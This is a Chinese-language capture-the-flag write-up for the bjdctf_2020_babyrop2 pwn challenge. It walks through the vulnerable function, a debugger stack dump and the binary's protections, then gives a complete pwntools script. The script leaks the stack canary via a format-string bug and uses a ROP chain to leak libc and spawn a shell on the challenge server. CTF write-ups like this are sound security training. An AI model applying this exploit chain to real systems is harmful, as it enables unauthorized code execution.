Eureka's Studio.

(canary)bjdctf_2020_babyrop2

2023/11/01

bjdctf的题目虽然比较简单 但是对知识点的考察还是很明确的

[canary]bjdctf_2020_babyrop2

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 gift()
{
char format[8]; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("I'll give u some gift to help u!");
__isoc99_scanf("%6s", format);
printf(format);
puts(byte_400A05);
fflush(0LL);
return __readfsqword(0x28u) ^ v2;
}

一开始看到这个的时候 我还以为能够通过fmt漏洞直接泄漏got表的数据 后来发现我太年轻了

1
2
3
4
5
6
pwndbg> stack 25
00:0000│ rsp 0x7ffd67bdcac8 —▸ 0x40085c (gift+72) ◂— mov edi, 0x400a05
01:0008│ rdi 0x7ffd67bdcad0 ◂— 0x407024372540 /* '@%7$p@' */
02:00100x7ffd67bdcad8 ◂— 0x7496a76572998700
03:0018│ rbp 0x7ffd67bdcae0 —▸ 0x7ffd67bdcb00 —▸ 0x400930 (__libc_csu_init) ◂— push r15
04:00200x7ffd67bdcae8 —▸ 0x400905 (main+43) ◂— mov eax, 0

我输入的payload是‘@%7$p@’ + p64(puts_got) 那么%7$p倒是看清楚了 就是got表不见踪影了 最开始以为是环境的问题 换七换八的 最后发现他开了canary

1
2
3
4
5
6
[*] '/home/apple/Desktop/bjdctf_2020_babyrop2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

canary的位置固定是rbp - 0x8 这个位置刚好是我们输入的got表位置 那么我们只能输出canary的值 然后进行基本的Libc泄漏了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'

#sh = process('./bjdctf_2020_babyrop2')
sh = remote('node4.buuoj.cn',27349)
elf = ELF('./bjdctf_2020_babyrop2')

pop_rdi = 0x400993
pop_rsi_r15 = 0x400991
vuln = 0x400887
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
#gdb.attach(sh)

payload = '%7$p'
sh.recvuntil("I'll give u some gift to help u!")
#pause()
sh.sendline(payload)
#pause()
sh.recvuntil('0x')

canary = int(sh.recv(16),16)

print canary

payload = 'a' * (0x20 - 0x8)
payload += p64(canary)
payload += 'a' * 0x8
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)

sh.recvuntil('story!\\n')
sh.sendline(payload)
puts_addr = u64(sh.recv(6).ljust(8,'\\0'))

libc = LibcSearcher('puts',puts_addr)
system_addr = puts_addr - libc.dump('puts') + libc.dump('system')
binsh_addr = puts_addr - libc.dump('puts') + libc.dump('str_bin_sh')

payload = 'a' * (0x20 - 0x8)
payload += p64(canary)
payload += 'a' * 0x8
payload += p64(pop_rdi) + p64(binsh_addr) + p64(0x4005f9) + p64(system_addr) + p64(vuln)

sh.sendlineafter('Pull up your sword and tell me u story!\\n',payload)
sh.interactive()

这边注意一下canary泄漏的接收表达 我们的canary接受到时确实是以0x开头的 不过因为不是地址 所以系统默认识别为字符串 所以开头的0x不需要接收进来

CATALOG
  1. 1. [canary]bjdctf_2020_babyrop2